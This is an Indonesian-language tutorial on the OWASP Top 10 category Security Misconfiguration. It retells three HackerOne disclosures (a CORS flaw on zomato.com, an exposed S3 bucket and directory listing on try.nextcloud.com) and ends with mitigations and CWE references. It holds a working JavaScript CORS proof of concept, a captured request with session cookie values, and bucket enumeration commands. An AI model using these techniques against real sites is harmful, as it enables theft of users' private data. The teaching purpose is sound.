Pengantar
Artikel kali ini kita akan membahas owasp top 10 yang ada di urutan ke lima untuk tahun 2021 (owasp tiap 4 tahun sekali), ialah Security Misconfiguration.
OWASP merupakan singkatan dari Open Web Application Security Project, yang merupakan sebuah project Security Web Application open source yang diperkasai oleh para penggiat teknologi atau pengembang aplikasi, OWASP sering mengadakan seminar, forum diskusi serta pendidikan untuk para Developer.
jadi yang dimaksud OWASP TOP 10? owasp top 10 merupakan sebuah cara untuk mengkategorikan resiko kerentanan yang sering terjadi pada sebuah aplikasi berbasis website, dari yang paling atas (resiko tertinggi) hingga yang paling bawah (tingkat resiko rendah), Tujuannya apa ?, tentu saja ini sangat berguna bagi para developer aplikasi supaya mereka jadi lebih aware terhadap kerentanan di aplikasi mereka.
Security Misconfiguration
Apa itu Security Misconfiguration
Security Misconfiguration adalah sebuah kerentanan yang terjadi karena kesalahan dari Developer itu sendiri, mungkin ia tidak mengikuti petunjuk (dokumentasi) dari sebuah library, framework atau pendukung lainnya yang digunakan untuk membangun aplikasinya.
kerentanan itu merupakan kerentanan yang cukup sering terjadi, karna developer mungkin menggunakan banyak bantuan dari framework atau hal lainnya, yang mengakibatkan semakin banyak pula kemungkinan Celah/kerentanan di aplikasinya.
jika developer mengikuti segala hal (dokumentasi) pastinya akan sangat memudahkan developer itu dalam membangun aplikasinya karena tidak perlu memikirkan Secure coding (sudah dipikirkan oleh developer framework itu sendiri)
Contoh Misconfigurasi :
- HTTP Only
- Query Builder
- X-Frame-options
- Content-Security Policy
- CORS
- Acces Control
Praktikal
#426165 [www.zomato.com] CORS Misconfiguration, could lead to disclosure of sensitive information
sumber : https://hackerone.com/reports/426165
attacker melakukan request ke www.zomato.com
Request :
GET /abudhabi HTTP/1.1
Host: www.zomato.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.zomato.com/
Cookie: zl=en; fbtrack=0c8f198276217196ed64230da7ec8506; _ga=GA1.2.1887254439.1538912146; _gcl_au=1.1.2098169460.1538912146; dpr=1; utmx=141625785.FQnzc5UZQdSMS6ggKyLrqQ$0:NaN; utmxx=141625785.FQnzc5UZQdSMS6ggKyLrqQ$0:1540032478:8035200; G_ENABLED_IDPS=google; cto_lwid=8a9f6540-307d-4333-bd04-96eebdec23b1; SL_C_23361dd035530_KEY=05a4e27ac591b9ca633a4fe9b5fdc3875e22560f; fbcity=57; zhli=1; al=0; _gid=GA1.2.1724569398.1539946684; ██████████; session_id=c541029346655-a68e-4a04-b2f8-ef1992b2e230; AMP_TOKEN=%24NOT_FOUND; csrf=a84df4c9f61aadf31a4f1dd4ca48be6e; ak_bmsc=2C67C71C92EB260D24B70A22BB690F2C4F8C5EB21A5B00008607CB5B69982B47~plvdYiMgFHceTWhzyAX5U631p9L1788qeXL/lAyNPHymsMAnv6mHZSJNA05zvLH2oIoYhZh2IVuMrSYmbcah8ADEJOyyFO27PZ5N/H1Cdvks7MZe3E9Y91EtRL8tbHwWka49I9RjDSrHVcgq5z4OIk8dfQd05szzsPKkleP3Jp9MJD1rVdLEcg2cCHoQYw5ciHDvhZtMWN6RD0DxZBoe3LPsfb37q5xqHTQ8h9XpyqUzc=; _gat_city=1; _gat_country=1; _gat_global=1; _gat_globalV3=1; bm_sv=EDBA03CA40AC8D77509922CAA98130B4~OXaAg7LsgySzeWnqd9TzoaW6pGtPv7Ut2dYfUp7otuPnD1uJi3BUwSCYQiDP4q92NaiK6GLXT8xxPmWSgspcRyYjatr3Zc5lDyt8+MMSsDmykSMruOC6+5BPCXCEX+HulBpygHFzTAQJSoPSYxgsSjsbymzdQq/Q90b/MvSGLbo=
Connection: close
Upgrade-Insecure-Requests: 1
Origin: developersxzomato.com
Response
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 127168
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block; report=https://www.zomato.com/cspreport.php
Content-Security-Policy: frame-ancestors https://.nearbuystag.in https://.nearbuy.com 'self'; default-src ; font-src data:; img-src data:; media-src blob:; script-src 'self' 'unsafe-inline' 'unsafe-eval' .jwpcdn.com .cloudflare.com .twitter.com .recruiterbox.com .zdev.net .zdev.net:8080 .zomato.com .tinymce.com .gstatic.com .googleapis.com .google.com .facebook.com sdk.accountkit.com .doubleclick.net .googlesyndication.com .nr-data.net .newrelic.com .google-analytics.com .akamaihd.net .zmtcdn.com .googletagmanager.com .facebook.net .googleadservices.com .cdninstagram.com .googlesyndication.com .inspectlet.com .spreedly.com .instagram.com .twimg.com .mouseflow.com .usersnap.com d3mvnvhjmkxpjz.cloudfront.net .serving-sys.com .sushissl.com .pubnub.com tsgw.tataelxsi.co.in .branch.io app.link cdn.poll-maker.com .ampproject.org .smartlook.com .hotjar.com dashboard.hypertrack.io zba.se .googletagmanager.com .eff.org cdn.plot.ly .zedo.com .bing.com .criteo.net .criteo.com mddigital.in; style-src 'unsafe-inline';
Access-Control-Allow-Origin: developersxzomato.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, X-ZOMATO-CSRFT, *
Server: Zomato
Strict-Transport-Security: max-age=31536000
Expires: Sat, 20 Oct 2018 12:29:00 GMT
Pragma: no-cache
Date: Sat, 20 Oct 2018 12:29:00 GMT
Connection: close
Set-Cookie: LEL_JS=true; expires=Sat, 20-Oct-2018 12:59:00 GMT; Max-Age=1800
Cache-Control: max-age=0, no-cache, no-store, no-transform
Vary: Accept-Encoding, User-Agent
Strict-Transport-Security: max-age=31536000
Set-Cookie: bm_sv=EDBA03CA40AC8D77509922CAA98130B4~OXaAg7LsgySzeWnqd9TzoaW6pGtPv7Ut2dYfUp7otuPnD1uJi3BUwSCYQiDP4q92NaiK6GLXT8xxPmWSgspcRyYjatr3Zc5lDyt8
kemudian attacker pergi ke http://developersxzomato.com/ inspect halaman dan pergi ke console.
di console itu terdapat informasi seperti berikut :
var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://www.zomato.com/abudhabi',true); req.withCredentials = true; req.send('{}'); function reqListener() { alert(this.responseText); };
Impact dari kerentanan di atas adalah attacker dapat memanipulasi korban untuk mengunjungi website yang attacker buat, jika korban tertipu maka seluruh data pribadi milik korban akan tersimpan di server milik attacker.
#1062803 Misconfigured AWS S3 bucket leaks senstive data such of admin, Prdouction,beta, localhost and many more directories….
sumber https://hackerone.com/reports/1062803
attacker pergi ke : ██████.s3.amazonaws.com/
jadi dari url di atas diketahui bahwa nama bucketnya adalah : ██████
attacker mengakses denagn direktori yang berbeda, dan hasilnya seperti ini
aws s3 ls s3://███/
aws s3 ls s3://████/██████/
aws s3 ls s3://███████/███████████████/
aws s3 ls s3://██████████/███████/
aws s3 ls s3://██████████/████/
impact dari kerentanan diatas adalah attacker unauthenticated user dapat mendownload semua informasi sensitif yang ada di s3 bucket
#690796 Directory listing is enabled that exposes non public data through multiple path
sumber : https://hackerone.com/reports/690796
domain try.nextcloud.com dapat dilakukan directory listing, yang mengakibatkan attacker mendapatkan informasi seperti file-file yang ada di server dan versi server yang digunakan oleh Nexcloud.
Endpoit :
https://try.nextcloud.com/assets/ https://try.nextcloud.com/css/ https://try.nextcloud.com/js/
Mitigasi
- Sending security directives to clients, e.g., Security Headers
- Menggunakan aplikasi yang tidak terlalu banyak Fitur/ aplikasi hanya menggunakan fitur yang memang dianggap penting
Referensi
OWASP Testing Guide: Configuration Management
OWASP Testing Guide: Testing for Error Codes
Application Security Verification Standard V14 Configuration
NIST Guide to General Server Hardening
CIS Security Configuration Guides/Benchmarks
Amazon S3 Bucket Discovery and Enumeration
Beberapa kerentanan lain di list CWE
CWE-11 ASP.NET Misconfiguration: Creating Debug Binary
CWE-13 ASP.NET Misconfiguration: Password in Configuration File
CWE-15 External Control of System or Configuration Setting
CWE-260 Password in Configuration File
CWE-315 Cleartext Storage of Sensitive Information in a Cookie
CWE-520 .NET Misconfiguration: Use of Impersonation
CWE-526 Exposure of Sensitive Information Through Environmental Variables
CWE-537 Java Runtime Error Message Containing Sensitive Information
CWE-541 Inclusion of Sensitive Information in an Include File
CWE-547 Use of Hard-coded, Security-relevant Constants
CWE-611 Improper Restriction of XML External Entity Reference
CWE-614 Sensitive Cookie in HTTPS Session Without ‘Secure’ Attribute
CWE-756 Missing Custom Error Page
CWE-776 Improper Restriction of Recursive Entity References in DTDs (‘XML Entity Expansion’)
CWE-942 Permissive Cross-domain Policy with Untrusted Domains
CWE-1004 Sensitive Cookie Without ‘HttpOnly’ Flag
CWE-1032 OWASP Top Ten 2017 Category A6 - Security Misconfiguration
CWE-1174 ASP.NET Misconfiguration: Improper Model Validation
Posting Komentar